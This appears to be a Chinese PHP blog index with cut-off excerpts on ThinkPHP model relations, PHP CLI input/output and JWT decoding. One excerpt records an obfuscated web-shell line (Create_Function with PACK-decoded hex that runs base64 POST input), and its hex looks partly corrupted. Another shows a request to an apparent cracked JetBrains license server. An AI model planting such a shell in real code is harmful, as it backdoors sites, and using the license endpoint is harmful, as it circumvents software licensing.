class Space extends Model
{
public function meetingroom()
{
return $this->hasMany(‘meetingroom’,’space_id’)->field(‘price_per_hour’);
}
public function getIndustryAttr($value)
{
return $value ? explode(‘,’,$value) ……
从别处看到PHP注入的方式,尚不完全清楚,只做记录,有时间再来研究。
$Content=Create_Function("", PACK("H*", "72657475726e207472696d2862969e32686578286261736536345f6465636f64652840245f504f53545b22434e4d574146225d2929293b"));
$ContentS = $Content();
……
PHP-CLI模式下,获取用户输入和命令行面板输出
//获取
$str = trim( fgets( STDIN ) );
//输出命令行
fwrite( STDOUT, '!!!开始!!!'.$str );
输出可配合缓冲区使用。
JWT-PHP(json web token-PHP版)解析
/**
* 解密
* @param $jwt
* @param $key
* @return bool|mixed
*/
public static function decode ($jwt, $key='') {
$tokens&nbs……
GET http://idea.iteblog.com/key.php/rpc/obtainTicket.action?buildDate=20171129&buildNumber=2017.3+Build+PS-173.3727.138&clientVersion=4&hostName=192.168.0.147&machineId=354e0ef2-429c-4f94-a4db-bab059677a42&productCode=0d85f2cc-b84f-44c7-b319-93997d080ac9&productFamilyId=0d8……